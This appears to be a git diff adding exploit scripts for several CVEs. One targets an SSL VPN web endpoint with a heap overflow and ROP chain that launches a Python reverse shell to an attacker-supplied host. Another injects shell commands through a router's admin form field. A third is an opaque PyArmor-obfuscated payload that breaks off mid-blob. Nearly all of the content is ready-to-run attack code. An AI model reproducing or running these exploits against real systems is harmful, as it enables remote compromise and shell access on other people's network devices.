diff --git a/CVE-2022-42475-RCE-POC.py b/CVE-2022-42475-RCE-POC.py new file mode 100644 index 0000000..e27b651 --- /dev/null +++ b/CVE-2022-42475-RCE-POC.py @@ -0,0 +1,79 @@ +import socket +import ssl +from pwn import * +import time +import sys +import requests + +context = ssl.SSLContext() +target_host = sys.argv[1] +target_port = sys.argv[2] +reverse = sys.argv[3] +params = sys.argv[4].split(" ") +strparams = "[" +for param in params: + strparams += "'"+param+"'," +strparams = strparams[:-1] +strparams += "]" + + +#binary functions +execve = p64(0x0042e050) + +#binary gadgets +movrdirax = p64(0x00000000019d2196)# : mov rdi, rax ; call r13 +poprsi = p64(0x000000000042f0f8)# : pop rsi ; ret) +poprdx = p64(0x000000000042f4a5)# : pop rdx ; ret) +jmprax = p64(0x0000000000433181)#: jmp rax) +pops = p64(0x000000000165cfd7)# : pop rdx ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret) +poprax = p64(0x00000000004359af)# : pop rax ; ret) +gadget1 = p64(0x0000000001697e0d); #0x0000000001697e0d : push rbx ; sbb byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret +poprdi = p64(0x000000000042ed7e)# : pop rdi ; ret +rax3 = gadget1 + + + +#hardcoded value which would probably need to be bruteforced or leaked +hardcoded = 0x00007fc5f128e000 + +scbase = p64(hardcoded) +rdi = p64(hardcoded + 0xc48) +cmd = p64(hardcoded + 0xd38) +asdf = hardcoded + 0xd38 +cmd1 = p64(asdf) +cmd2 = p64(asdf+16) +arg1 = p64(asdf+48) +arg2 = p64(asdf+56) +arg3 = p64(asdf+64) + +ropchain = poprax +ropchain += execve +ropchain += poprdi +ropchain += cmd1 +ropchain += poprsi +ropchain += cmd2 +ropchain += poprdx +ropchain += p64(0) +ropchain += jmprax +ropchain += b"/bin/python\x00\x00\x00\x00\x00" +ropchain += arg1 +ropchain += arg2 +ropchain += arg3 +ropchain += p64(0) +ropchain += b"python\x00\x00" +ropchain += b"-c\x00\x00\x00\x00\x00\x00" +ropchain += b"""import socket,sys,os\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(('"""+ reverse.encode() + b"""',31337))\n[os.dup2(s.fileno(),x) for x in range(3)]\ni=os.fork()\nif i==0:\n os.execve('/bin/sh', """+strparams.encode()+b""",{})\n\x00\x00""" + + + +try: + with socket.create_connection((target_host, int(target_port,10))) as sock: + with context.wrap_socket(sock, server_hostname=target_host) as ssock: + ssock.settimeout(2) + context.verify_mode = ssl.CERT_NONE + payload = b"A"*173096+rdi+poprdi+cmd+pops+b"A"*40+pops+rax3+b"C"*32+ropchain + tosend = b"POST /remote/error HTTP/1.1\r\nHost: "+target_host +b"\r\nContent-Length: 115964117980\r\n\r\n" + payload + ssock.sendall(tosend) + r = ssock.recv(10024) +except Exception as e: + print("Exception occurred :"+ repr(e)) \ No newline at end of file diff --git a/CVE-2023-0861.py b/CVE-2023-0861.py new file mode 100644 index 0000000..28a9172 --- /dev/null +++ b/CVE-2023-0861.py @@ -0,0 +1,31 @@ +import re +import requests +import argparse +import urllib.parse + + +parser = argparse.ArgumentParser(description='CVE-2023-0861 PoC') +parser.add_argument('--url', type=str, required=True, help='URL of the vulnerable router') +parser.add_argument('--phpsessid', type=str, required=True, help='Admin\'s PHP session ID for authentication') +parser.add_argument('--payload', type=str, required=True, help='Command Injection Payload') +args = parser.parse_args() + +url = f'{args.url}/admin/gnss.php' +c = {'PHPSESSID':args.phpsessid} +response = requests.get(url,cookies=c) +csrf_token = re.search(r'', response.text).group(1) +#print(csrf_token) +data = { +'toggleAlignment': 'test', +'device_id': f'1; {args.payload} > /home/www-data/admin/img/nothing.png; 2', +'csrf-token': csrf_token, +} +#print(f'1; {urllib.parse.unquote(args.payload)} > /home/www-data/admin/img/nothing.png 2') +url = f'{args.url}/admin/gnssAutoAlign.php' + +response = requests.post(url, data=data,cookies=c) + +if response.status_code == 200: + results = requests.get(f'{args.url}/admin/img/nothing.png',cookies=c) + #print('done!') + print(results.content.decode()) \ No newline at end of file diff --git a/CVE-2023-1112.py b/CVE-2023-1112.py new file mode 100644 index 0000000..ba17049 --- /dev/null +++ b/CVE-2023-1112.py @@ -0,0 +1,3 @@ +from pytransform import pyarmor_runtime +pyarmor_runtime() +__pyarmor__(__name__, __file__, b'\x50\x59\x41\x52\x4d\x4f\x52\x00\x00\x02\x07\x00\x03\xf3\x0d\x0a\x09\x30\xe0\x02\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00\x3b\x15\x00\x00\x00\x00\x00\x18\xbc\x4a\xbf\x3e\x2b\xc0\xe9\xa7\x06\xb3\xe7\xc8\xf7\xad\x26\x03\x00\x00\x00\x00\x00\x00\x00\x00\x57\x8c\x19\xb9\xb6\x5b\x96\x7a\x5c\xea\xe9\x17\x9b\x07\x89\x1a\x46\x72\x6b\x75\xc5\xef\xee\xac\x42\xdc\x3a\x1e\x8d\x6f\xf7\x62\xb8\x4f\x54\x19\xdf\x39\x4e\x1e\xd5\x3b\x81\x7a\xeb\xba\x3c\x9a\x0b\xcd\x4a\x76\x88\x8e\xca\x6e\xbe\xbc\xf0\xa4\xa8\xb6\xb2\x57\xae\xe7\xee\xd7\x61\x04\xb1\xe4\xb4\xa4\x0f\xfe\x7b\x0e\x0f\xf9\x48\xec\x3e\xc7\xa1\x0d\xa5\xb6\x83\x6b\xae\xe2\x30\x00\xd0\xd9\x4a\xe4\x0a\x8d\xac\x04\xbc\x6c\x15\xf3\xf5\x10\x38\xf1\x8a\xc4\x4e\xe2\x17\x22\x14\x5c\xdb\x6e\x3f\x72\xaa\x32\x6c\xc9\xfc\xa4\x5e\x08\x71\x76\x27\x56\xb2\xcb\x9f\x80\x05\xc1\xb7\x2c\x50\x0f\x02\xc1\x62\xce\xba\x08\x76\x5e\x19\xf0\x62\x8a\xa1\xb7\x80\xd1\x76\xab\x2f\x9d\x0c\xa6\x83\xf2\xaa\x62\xb6\xeb\xaf\x33\x3d\xbc\x69\x55\xd0\x78\x37\x11\x02\xc9\xd0\x62\xaa\x88\x01\x83\x29\xf0\x79\x7c\x88\x3d\x6c\xa0\x93\x92\x6b\x74\x27\x6a\xf1\xb6\xe4\x2e\xf8\x30\x97\x92\xf3\x00\x66\x36\xd1\x56\x10\x3b\x83\xe0\x21\x97\x48\x5b\xf2\xbf\xcb\x36\xc5\x2d\xf7\x4e\xf5\xc4\x6a\xe3\xcb\x31\xf1\xcd\xdd\x54\x6d\x40\x2a\x22\x34\xf8\xe6\x1e\xeb\xc1\x1b\xea\x1e\xe6\x7d\x7f\xad\xc8\x78\xf1\x8d\x6f\x56\xec\x0e\x66\x69\x9a\x8e\xbf\x98\x54\x80\x07\x48\x28\x1a\xea\x3d\x25\x1b\xed\x03\xb5\xe0\x48\xa3\x76\x5e\xbf\x73\xf7\x8d\x6c\xf9\x26\xff\xab\xb6\xea\xe0\x1a\x99\x40\x6d\xdb\x44\xee\x5c\xd2\xc4\x60\x42\xa1\x9f\xf8\x77\x13\xad\xc9\x3f\x46\x3f\xde\x09\x52\x6e\x05\x9d\x52\x01\x5a\x1c\x27\xa2\x3a\xed\x0f\x16\x39\x7a\x36\x09\x34\xba\x8b\x94\x76\x7b\xce\x18\xfe\xe7\xd7\xef\x3e\x43\xbd\x02\xa1\xb6\xd8\x1c\x53\x58\x40\xbe\xfb\x63\x12\xd6\xd0\xd3\x18\xa9\xe0\xde\xf9\x00\x9b\xa1\xcb\x77\x4e\x0e\x83\x39\x7b\xad\x06\x6f\xde\xb6\x37\x19\xd9\xc7\x7c\xca\xa3\xa2\x96\x60\xcf\xea\xfc\x72\x47\xd1\x89\xd2\xb1\xb3\xde\xef\x71\x5e\xd6\xdc\x73\x8f\x5b\x00\x20\xa0\x71\x8d\x2f\x14\x00\x08\xa6\x0f\xbd\x51\x98\x6f\x8a\x25\x7b\x50\x18\x8f\x8e\xa8\xd8\x67\x7a\x3a\x26\x42\x4c\x91\xf2\x37\x4a\xbe\x1a\xe1\x0d\x6c\x54\xad\xc3\xe9\x68\x70\xd6\x4e\x57\xe5\x73\xcc\x25\x75\x62\x5e\x0c\x3f\x9e\x23\xaf\xe7\x41\x3e\x10\xde\x07\x89\x53\xe5\x26\xec\x96\x26\x41\xe4\x49\x2f\x0a\xc9\x1a\x53\xed\x4c\x89\x10\x04\x92\x35\xb0\x25\x3f\xe1\xcd\x65\x0d\x76\x16\x6a\xeb\x1d\x0d\x19\xd1\x5a\x0b\x16\x5b\xca\xe4\x45\xcd\xab\x79\x0d\x6b\xdd\x66\x8e\x55\xa4\x2b\x6e\xf0\xd3\xe7\x7f\x4c\xc9\xa6\xac\xb0\x4d\xf1\x95\xb7\x74\x26\x22\xa6\xeb\xd4\x81\x9f\x31\x7b\xaa\xed\x23\x03\xb9\xa9\xaf\x18\xff\xce\xfd\xca\x42\xdc\x56\x5a\x68\x88\x48\x5c\x65\x0e\x67\x88\xce\x68\x01\x9f\x0a\x44\x89\xed\xe5\x64\xfb\x10\xeb\x0f\xdd\xcc\x13\xf0\x0f\x2e\x2a\x95\xc1\x26\x00\x54\x35\xca\x02\x2b\xfe\xdb\x3d\x0e\x6b\xc9\x5f\x3f\x2d\x7b\x4c\x71\x41\x76\xab\x39\x0c\xb9\x47\x27\x8e\x1e\xbe\xc7\xb1\x62\x65\x1f\x2b\x49\x1b\x5c\x70\x65\x62\xe9\xe3\x97\x85\x93\x1f\x95\xee\xbc\x7c\x95\x93\x72\x30\xb4\x64\xc8\x4e\xf5\x1e\xad\xc3\x30\xab\x84\x34\xdb\x76\x7e\x36\x84\xf4\x27\x69\xba\x7f\x4a\xe7\xcf\xbb\xe9\xba\xe2\x22\xc5\x81\xfb\x41\x42\x3f\x08\x95\x8c\x14\x9e\x88\xff\x71\x4f\xbf\xbe\xc4\xa4\xea\x25\x80\x17\x2a\x8e\x24\xf2\x54\xea\x88\xa2\xb6\xad\x20\xe5\xc1\x52\x8d\x60\x1e\xca\xa0\x2e\xa8\x8d\x2c\xf8\x4f\xc6\xed\x3f\x71\x72\x92\x9b\xaf\x82\xf5\x75\x0e\xdf\x22\xc7\xed\x97\xd0\x13\x5a\x7e\x24\xe1\xdb\x25\x3a\xfe\xa2\xc6\x1b\xab\x47\x4e\x69\x58\xd0\x1b\x64\x57\xc7\x28\x69\x4f\x1a\xbe\xd0\xb1\xad\x03\x37\x33\x91\x7e\x8a\x1b\xca\xd4\x1e\xf0\xa8\x2a\x4b\x62\x42\xba\xe2\xf6\xa8\xdc\xa9\x11\x50\xaa\xd1\x6b\xf9\xe6\x39\xc4\x12\x77\x52\x04\x95\x91\xf6\x43\x16\x2b\x6e\x86\x77\xb6\x5d\x67\x59\x40\x1c\x81\xe9\x82\x11\x09\x23\x65\xf9\x48\xd2\xc0\xfb\x92\x44\x46\x0f\x4e\xbd\xcd\x34\x11\xbe\x6b\xac\xc5\x30\x0c\x98\xbf\xc9\x9a\x76\x5b\x9f\x10\x48\x51\x18\x20\x5c\x6c\x46\xc1\x05\x54\xf5\x7b\xa0\x39\xa4\x3c\x5d\xbe\x0c\x85\x09\xbb\x8d\xce\xc3\xb9\xfa\xdd\x0e\xef\x94\x4b\xad\xac\x38\x51\x58\x19\x63\x8e\xff\x20\x93\x7a\x1a\x31\xd6\xf1\xf6\x0a\x2e\xca\xa3\xc0\xd4\x9a\xac\x79\xf9\x19\xf5\x25\x47\x37\x61\x8e\x68\x6c\x6e\x03\x68\xa8\xf6\x9e\xa5\x0d\xa1\x60\xde\x1c\xf4\x5a\x46\xe8\x9b\x07\x26\x25\x04\xe4\x78\xa6\x16\x24\x0f\xb0\xe3\x9e\x76\x7c\x71\x46\x25\xb3\x02\x6c\x1c\xd5\x92\x1d\x02\x0a\x43\xad\x34\x41\xd3\x1a\x56\x10\xd2\x5f\xbf\x5b\x98\x58\xbc\x15\x72\x7f\x6f\x4c\x13\x1b\xe6\x98\x2c\x14\x1a\x4b\x66\x8b\x96\xdc\x00\x48\x85\xb0\xb9\x57\x0c\xe5\xf8\x95\x8a\x1b\x66\xb2\xdd\xfd\x10\x93\x4b\x43\xfc\xfd\xff\xbb\x60\xeb\x15\x09\x99\x2d\x7c\xf3\x28\xc9\xce\x23\xf1\xc3\x82\xf7\xab\xc7\xc1\xcf\x16\x3f\x63\x58\x5f\x8d\x65\x79\x75\x6c\x37\xb2\xe1\xe2\x6e\xe7\xd8\x21\x2d\x29\x15\x6e\x31\x60\x93\xb8\xdf\x9b\xb7\x73\xdf\x8c\xc0\xec\xb8\x5c\x4a\x2c\xc2\xb9\x11\xdb\x15\x73\x61\x18\x7e\x7c\x5d\x55\x3e\xd6\x03\xa9\xbf\xe6\x0d\x42\x21\xea\x73\x66\x44\xbb\x98\x40\x40\x05\xe8\x67\x45\x12\x53\xdd\x04\xc3\xf3\x06\x68\xb9\xee\xa6\xf4\x65\x16\x1e\x19\xfd\x44\xc5\xd7\x10\x36\x1a\x7a\x0e\x98\xb2\x2b\x48\x7f\x83\x6f\xd8\xd6\xc1\x16\xd0\x98\x12\x0f\xc5\x8d\x22\x61\xd2\x82\x02\x02\xc3\x0b\x2e\x32\x1d\xc8\x00\x65\xaf\x3d\xc9\x1b\x5d\x6b\x72\x6d\x3e\x03\x33\xad\x1b\x20\xf8\xb4\x0a\x08\x4e\x37\xbf\xed\xd8\x96\x0c\x81\x85\x28\x79\x27\x8c\x11\x87\x91\x8d\x78\xd5\x17\x1a\x7c\x05\x01\xf7\xa8\xe1\xe5\xbb\x62\xa9\xad\x8a\x5d\xc2\x16\x0f\xab\x2a\xee\x5e\x4e\x56\xfd\x4d\xa9\x45\x88\x65\xe9\x3f\x17\x3c\xb2\x71\x13\xb2\x8e\x08\xa4\xfa\xe6\xd0\xf4\x66\x82\x44\x7e\x3f\x86\xd6\x23\x46\xac\xac\x0a\xff\x86\xaa\x8b\x2b\xd0\x5e\xa7\x11\x50\x8d\x57\x55\xab\x4d\x60\x5d\x7a\x93\x7f\x37\xf2\xa8\xad\x57\xbe\x29\x9e\x79\xf2\x24\x2f\xfc\x46\x81\xb7\x76\x68\xb3\xf6\x27\xc3\x23\xbe\x85\x3f\x39\x60\xca\xee\x35\x00\x3f\xac\xbc\xef\x31\x58\x7c\xfb\xdf\xc9\x9c\x69\x77\xf0\x33\x66\x70\x74\x44\x90\xbd\x82\x6f\x19\x0b\x70\x15\x6d\x40\x9f\xa3\x5f\x69\xb0\xf2\xc5\x75\x3d\xd1\x95\x2d\x0a\xfe\x2c\x84\x87\xfe\x08\x98\xc1\x2a\x90\xed\x8d\x72\xf1\x8e\x8c\xee\xfa\xf8\xa6\x72\x7a\x5a\x9c\x9b\x22\x78\x89\x4c\xa8\xc0\x1f\x83\xaf\x67\xd0\x48\xfc\x78\xf8\x25\x25\xb1\xa2\x37\x03\x12\xaa\x9c\xd8\x5a\x78\x55\x2c\x88\x73\xc1\xe3\xc3\x55\x07\xd2\x31\x8f\x1d\xcc\x41\x03\xe5\xb1\x2f\x2c\x2f\x8d\xae\x23\x76\xac\x3e\x25\x9b\x65\x34\xb5\xa5\x7f\x25\x0f\x09\xc2\x6e\xb7\xd3\x14\x45\x96\xc0\x04\xf9\xe2\x0c\xe8\xc0\x44\xfe\xba\xe6\x7c\xde\xd6\xf5\x59\xc9\x5d\xcc\x6b\x21\x4f\x98\x67\x4e\x70\x9e\x08\x3d\x2f\x0d\x8c\x30\x49\xfa\x28\x2d\xf5\xde\xc0\x89\xe3\x4e\xf7\x78\x5c\x91\x5e\x9e\x05\xf6\x68\xc0\xb1\x84\x99\x1c\x4e\x11\xf9\x52\xd4\xd5\x82\xe8\x23\xed\xdc\x47\xba\x75\x5b\xf0\x56\x04\xa5\x5d\x91\xc1\x54\x5b\xd7\x71\x38\x70\x8a\xd1\x24\x01\x0b\x99\x7c\xc9\xa4\x19\x3c\x1e\xae\xb6\x7e\xcb\x4e\x63\x99\x58\xe1\x02\xc7\x07\x5b\xea\x7d\xff\xdd\x31\xbf\xcf\x8b\x6f\x67\xac\xcf\xfd\x5e\x0f\xc6\xef\x22\x2e\xe7\x94\x0e\x40\xde\x98\x65\xeb\xb4\x7e\x4b\x7f\xa1\xd7\xa7\x19\x37\x1f\xf6\x3a\xf4\x5c\xda\x70\x31\xed\x50\x15\x7b\x64\x85\x3c\x1d\x39\xe2\x51\xb9\x3f\xf1\x6a\xcd\xd7\xa5\x7c\x3f\x4f\x8e\x95\xab\xd5\x32\x5a\x20\x49\xf8\x34\xe8\x89\xb0\xa5\xcf\x6c\x68\xd8\x49\x44\xea\x2c\xbf\xb4\x66\x1a\xd8\x38\x60\xec\xb1\x8b\x0d\x60\x85\x25\xe4\xea\x4a\x75\x96\x40\x3c\x9b\x08\xeb\x59\xa6\x02\x69\xa4\x7b\x59\xcb\x36\xd1\x4e\x15\x72\xbf\x80\x6c\x30\xe9\x15\xc7\x75\xae\xb8\x80\xe7\x23\x94\x14\x89\xc7\x54\xd8\x4b\x3e\x9f\x23\x88\xa6\x12\xb5\xfa\xad\xe1\xa4\x30\x23\x13\xb0\x50\x88\xbb\x3d\x31\x07\x06\x03\xd2\xe7\x2e\x36\x32\x50\x92\x64\x47\x95\xde\xa5\x87\x57\xec\xa7\x8f\x2a\xe1\xc6\x3d\x31\xaa\x7d\x58\x6b\xff\xf6\x7b\x8b\x1c\x6e\x96\x7e\x4d\x8a\x13\xa3\xc0\x7b\x6a\x67\x61\x6b\x31\xd6\x59\x0f\x8b\x39\x4a\x3f\x09\x83\x41\x09\x45\x99\x54\xd8\x19\x0f\x46\x4c\xcf\x18\x78\xde\x1c\x68\x14\xa4\x24\xcb\x88\x1c\x66\x9e\x56\x16\x89\xa6\xd8\x76\x8b\xc5\x77\x6f\xfa\xd0\x9f\x07\x6f\xa0\xb5\x9d\xa2\xda\x64\x02\x5a\x79\x1d\x05\x08\x87\x78\x40\x25\x69\x96\x35\x90\x80\xec\xb2\x3b\x91\x8e\x2b\x94\x08\xa4\xcf\xcd\x66\x9e\x00\x60\x0c\x24\x1c\x9b\x3d\xf6\xbe\x0c\x3f\x94\x6c\xcf\x06\x7a\xfb\x6f\x89\x0d\x27\xbc\xc0\x7c\x45\xdd\x08\x6d\xd4\x49\x32\xd9\xdc\x47\x23\x88\x5f\xfb\xd7\x3f\xf1\xf1\x2e\xa4\x62\xd3\x5b\x8c\xf5\x5d\x3b\x86\xe1\xbf\xbd\x9f\x82\x5d\x63\x35\xa8\x18\x00\xdd\xb8\x9f\x2d\x68\xe4\xd4\xbc\x18\x49\xfb\xe2\x9b\x54\x9f\x76\xd6\x7c\x0e\x57\xdd\x9b\xcf\x98\x04\x6f\x4a\x58\x20\x25\x07\x88\xf3\x96\xb9\xf4\x0e\x80\xa9\x55\x2d\xd6\x02\xea\x63\x62\xa6\x1d\x8a\x4a\x0a\x55\x87\xd5\xd8\xde\x35\x78\x43\x73\x20\x7c\xdf\xdf\x9f\x8f\xdc\x5f\x6a\x52\x26\x1f\x52\x57\x1f\x92\xef\xb4\x39\x60\x73\xb6\xd0\x0c\xf6\x07\x4d\xc1\xb6\xa0\x73\x05\x66\x8a\x06\x1b\x5e\x51\xea\x48\x23\xaa\x4d\x83\x58\xb5\x58\x07\x03\x34\xa8\x04\x94\x67\x25\xbc\x3e\xc7\xee\x21\xe9\x96\xbc\x21\x41\x6b\xcd\x61\x47\xe0\x9d\x26\x1a\xe6\xb9\xec\xbd\x95\x1f\x73\x72\xdf\xa8\xc3\x14\x5b\xdb\x14\xd9\xa8\x1e\x39\x15\x5d\x71\xfc\x14\x25\x7d\xa2\x7d\x62\x63\xb7\x35\x41\x75\x86\x2f\x0e\xa8\xee\xa5\x5c\xcc\x81\xa8\x9b\xbc\xa1\xc4\x9e\xc3\x05\x46\xae\x17\xd4\xec\x21\x8e\x18\xc9\x6d\xe8\x11\x42\x36\x29\x45\x92\x5c\x65\xdf\xb5\x03\xae\xfe\x6a\x92\xc9\x33\x6a\x7e\x82\x98\x81\x25\x99\x38\xdd\x98\xf1\xae\xca\xa9\x7e\xe6\x71\x67\xfc\x55\xed\x55\x55\x37\xdc\x4b\x3d\x59\x53\x1d\x5c\x67\x8b\x1a\x68\x5e\x98\x24\x77\x88\x72\xe2\x48\x6a\x88\x1f\x07\xeb\x2c\xa1\x7d\x71\xac\x2a\x08\x47\xcd\xe0\xe1\x7c\x03\xff\x6d\xa1\x74\x83\x7b\x9a\xd4\x13\xda\x33\x11\xee\x08\x5d\x9f\x54\x33\x6d\x26\x5b\xb4\xd1\x5a\xff\x3a\x6f\xb2\x8d\x4e\xd6\x86\xd0\x7d\x49\x9e\xb2\x40\xa1\x4d\x21\x47\xc6\xd5\x7a\xbb\x83\x16\xb7\xdf\x3b\xf2\xd2\xb9\x25\x09\x29\xfb\x9f\xa3\x9a\x13\xaf\x76\x79\xea\x1c\x30\x59\xb7\x12\x50\x62\xf8\xf8\xeb\xbf\x83\x5c\x7d\xa7\x1d\x0f\x48\xd3\x34\xe3\x0f\x23\x74\x76\x41\x97\x6d\x5e\xb5\x7c\xd8\x6f\x30\xb6\x07\x5c\x70\xf6\xda\x00\x25\x89\x92\x97\x58\x28\xb9\x9f\x52\x1d\x54\x0a\x92\xac\x22\x7b\x65\x65\x4a\xb6\x96\x28\xae\xfb\xb8\xca\x35\xfd\xb9\x9b\x14\x58\x01\xe0\xb1\xe3\xf3\xbb\xdb\x09\x44\x44\xf5\xd5\x3c\x07\x07\x86\xf9\x1c\xd2\x9a\x9b\x9c\xa7\x21\x8a\xc4\x5a\xf5\x88\x38\xbc\x57\x94\x47\x00\xdf\xb2\x59\x68\xa9\x65\xb6\xea\xbe\xca\x94\x6e\x12\x1a\xfe\x6d\x92\xd5\x2f\xaf\xd8\x92\xcd\xb7\x56\xbb\x73\x7a\x63\x92\xab\x62\x54\xd8\xf0\xa2\xbc\x14\xe1\x4f\x56\xf2\xac\x81\x89\xf6\xdd\x91\x83\xce\x30\x13\x04\xd9\x46\xf7\xf7\x52\x60\xcf\x51\xf5\xa7\x94\xf2\x15\xad\xd7\xcb\x3b\x2b\xd1\x6f\x5b\x04\x4c\x76\x48\xba\xfb\x27\x21\xf2\x9c\xb4\xb9\x96\x13\xc3\xb2\x64\x6b\x6a\xc3\xab\x7c\xa3\xcd\xf4\xe1\x1b\x25\x43\x2a\x42\x25\x13\x9c\xf7\xc1\x7f\xf1\x5d\xe4\x18\x5a\x85\x9e\xdc\xb9\xad\x49\xe0\x34\xec\x61\xa7\xda\x21\x84\x88\xa9\x9d\xb9\xed\x9a\x49\x9c\xe0\x71\x36\xa6\x88\x2f\x5f\x26\x1f\x77\x2b\xd2\xe9\x0c\x25\x0b\xc9\x4e\x83\xe1\x45\xfd\x07\x9b\x73\xe4\x52\x07\x91\x2c\x5c\xf0\x9d\x3f\xd4\xa6\x32\xa5\xbf\x55\x04\xd5\x1c\x99\x16\x13\x8c\xba\x17\xc3\xbd\x6b\x9b\x55\xc8\xf7\x0b\xf6\xfa\x34\xda\x67\x85\x40\x36\x15\x0d\xcf\x95\xd8\x18\x0d\x99\x6f\xfd\xeb\x76\x93\x96\xa5\xb2\x4b\x9e\xf7\xf1\x2e\xe2\x3a\x29\xae\x10\x31\x6d\x8c\xe4\x4e\x86\x57\x6f\x9f\xcd\xcf\x26\x30\x0c\x6d\x74\x92\x2c\xce\xa0\xdc\x0d\x10\xd5\x96\x05\x80\x7d\x5a\xa1\x5e\x7c\x5e\xe6\x96\xe7\x86\x15\x22\xbd\xad\x1b\x75\x47\xec\x98\x66\x04\x6b\xd4\xce\x6c\xe7\x12\x9b\x5b\xb9\x16\xbb\xa5\x90\x12\xa9\x9b\x11\xb6\x0f\x8d\xec\x88\xa9\xd3\x41\xd9\x9d\x38\x26\x32\x4e\x43\xb4\x50\x7c\x44\x99\xf9\xe5\x37\x4b\x3e\x36\xf5\xd8\xeb\x57\xfe\xc9\x15\x84\x19\x04\xaa\xd4\xd3\x9f\x84\x86\xff\x3b\x4b\x14\xb3\x18\x43\x98\x17\x9c\x51\x3a\x13\x94\x9d\xd9\x92\x30\xea\xfd\x9d\xd9\x5f\x35\x78\x24\x48\x3e\x29\x60\x44\xf8\xa8\x0d\x4c\x04\x39\xf5\x73\x29\x13\x8e\x81\x33\xce\xfd\x45\x87\xee\x2a\x51\x43\x7d\x27\x7e\xfe\xd7\x68\x46\x50\x11\xdb\x8d\x9d\x34\xa2\xa2\x6f\x34\xe4\xa2\xa3\x85\x10\x9c\x16\x63\x0e\x26\xc6\x7d\xbc\x10\x3d\x70\x3d\x6a\x06\x80\x35\xe6\x2b\x78\x45\x98\x67\x6a\x42\x71\x4d\x7a\xa9\x3e\xf2\x70\x78\x32\x66\x85\x7b\x0f\xc2\xbc\x4f\xf6\x21\x9d\xc1\x7e\xea\xc8\x9e\xf0\xe2\x88\xbb\x72\x33\x36\x53\x16\x58\x49\x06\x05\xd3\xe8\x35\x40\x88\xd4\xc7\x5b\x73\xaa\x3e\x35\xd4\x1b\xfd\x85\xc3\xb3\x46\xb1\xc4\x71\x68\xaf\xa0\x31\x1b\x43\xd6\x9b\x06\xf1\x45\x4c\x2d\xa6\x4d\x87\xa9\x18\x44\xe4\x0f\x6a\x52\x03\x37\x1d\x4b\x26\xa8\x6f\xe1\x2b\x59\x02\xa9\x9f\x46\x8f\x9a\xf2\x72\xc9\x2d\x70\xdf\x82\x03\x90\x6d\x5d\xcc\x09\x2f\x67\x8e\xec\xca\x48\xcf\x50\x39\xae\xc7\x49\x50\x56\xc2\xa7\xf7\xe2\x94\xd0\x6f\x57\x0e\xac\xe0\x26\x57\x74\xcd\xca\x2c\x91\x2d\x9d\x86\xba\xd2\x68\x24\xd7\xc1\x03\x9e\xdb\x50\x99\x3d\xfe\xbe\xf5\x64\xf1\xd2\xb8\x76\x13\xbe\xa1\x93\x79\x40\xa7\x6d\x31\x92\xa9\xae\xdf\xbb\x24\x5f\x37\xac\x2c\x5a\x83\x33\xa9\x00\xe6\x98\xf8\x22\x83\xed\x03\x2c\xbc\xc7\xac\x0f\x2e\x99\x58\xb9\x5d\x2d\xa2\x65\x2a\xd2\x08\x99\x68\xd9\x71\xae\x70\x17\x85\x77\x0d\x16\x31\xcf\x50\xfc\x3d\x69\xe2\xde\xe6\xbd\xcd\x91\xfd\xb3\x26\xab\xa7\xfa\x8a\x23\xf6\x21\x30\x91\xa6\x85\xdd\x41\x32\xf1\xe4\xb5\x36\x82\xb4\x53\x2e\x9d\x33\x94\x2c\xec\xf5\x81\xf0\xfd\x23\x46\x80\xcb\x9f\xba\xc1\xc6\xd4\xaa\xbc\x30\xd1\xc0\x14\x6d\x4d\x30\x55\x01\x3f\xaa\x50\x7e\x5c\x8b\x96\x69\x5a\xdb\x3a\x9d\x0e\x16\xb0\xcd\x73\xf7\x4b\xdc\x45\x35\xc4\xbd\x93\xff\xff\x88\x99\xcd\x3f\x95\x57\x29\xa5\x06\x66\xb2\x5f\xdb\xef\xc8\x05\x96\x31\x34\x33\xe4\x33\x4c\xb1\xc1\x50\x9f\x54\x3f\xdb\x41\x20\xf0\x35\xd7\xb9\xc1\x04\xc8\x8b\x4f\x3c\x2b\x4c\xb7\x7b\xb0\x5c\xe2\x0a\x57\xc4\x9d\xb9\xeb\x32\xcd\x6d\x4b\x62\xc6\xb9\xf8\xd2\x3d\x9d\x57\x3e\x47\x94\xe7\xbb\x10\x17\x18\x57\x64\x17\xbd\x8d\xdc\x58\xa3\x70\xb7\x8a\x5c\x39\x6d\x67\xcf\xf5\x90\x4f\xcd\x14\x25\x99\xc6\x6d\x70\x9f\x44\x40\x20\xd2\xfa\x25\x2e\x20\x26\x8b\x9b\xcb\xf3\x17\x85\x99\x9d\x51\xd9\xe7\x04\xf4\xc2\xf9\xc3\x5a\xd6\xad\xb4\xe9\x60\x9b\x9a\x96\xdd\x0c\x82\x47\xa0\xf6\x9e\x97\x88\x2b\x6f\xba\x56\x0d\x99\x8d\xb5\xe1\xf1\x5b\x99\x62\x59\xcf\xbf\xe3\x4f\xe5\x43\xba\x67\x30\xad\x03\x34\x53\xec\xfb\xdb\xda\x34\xba\x0b\xd3\xd5\x15\xed\x03\x3d\x0d\x35\x70\xb4\x94\x21\xd1\x47\xea\xc2\xd3\xe7\x02\x27\x71\xd4\x55\xc5\xf3\x3c\x73\x70\xb3\xf3\x29\x19\x72\x11\x23\xac\x5a\x6f\x0d\x41\x6f\x91\xf1\xf4\x22\xc7\xc5\x42\x12\x45\x5d\x88\x5a\x9f\xa7\xbb\x0a\x92\x86\xb5\x31\x7f\xd2\x74\x46\xf4\xf5\x28\x2b\x73\xa6\x98\xee\x39\x6a\x51\x59\x7a\x7d\x51\x43\xab\x3a\x6d\x5c\x8b\x03\x12\x5a\x30\xa0\x8d\x97\x4b\xbf\xf0\xbd\x9f\xa0\x3d\xe6\x30\x33\xc1\xc8\xcf\x5c\x45\x88\xdb\xe4\x56\x49\xd0\x15\xb2\x1f\x8b\x2f\xc6\x94\x4e\xdf\x7c\x16\xbf\x38\xd7\xc8\x8d\xc5\xc4\x6d\xf7\xf3\xc7\xcb\xe5\x9b\xb7\x7a\x2e\x12\x07\xb2\x78\xe4\x28\x0e\x2b\x71\x9a\xd1\x82\x35\x39\x22\x76\x21\xa2\xac\x51\xf6\x90\x3e\x8f\x09\x9c\x18\xcd\x50\x2f\xeb\x0d\x2c\x21\x2a\xb8\x63\x5f\x08\x40\xc8\x19\x83\xeb\x0f\xa6\xa7\xf3\x66\xc3\x1e\xd8\xf2\xf8\x85\xdb\x1f\x58\xc0\x5c\x19\xda\x57\x70\x8a\x3d\x18\x85\x7b\x67\x6b\xdd\xf2\x15\x56\x14\xec\x16\x0a\xb3\xb2\x0e\x55\x68\x2e\xad\x2b\x9f\xa9\x47\x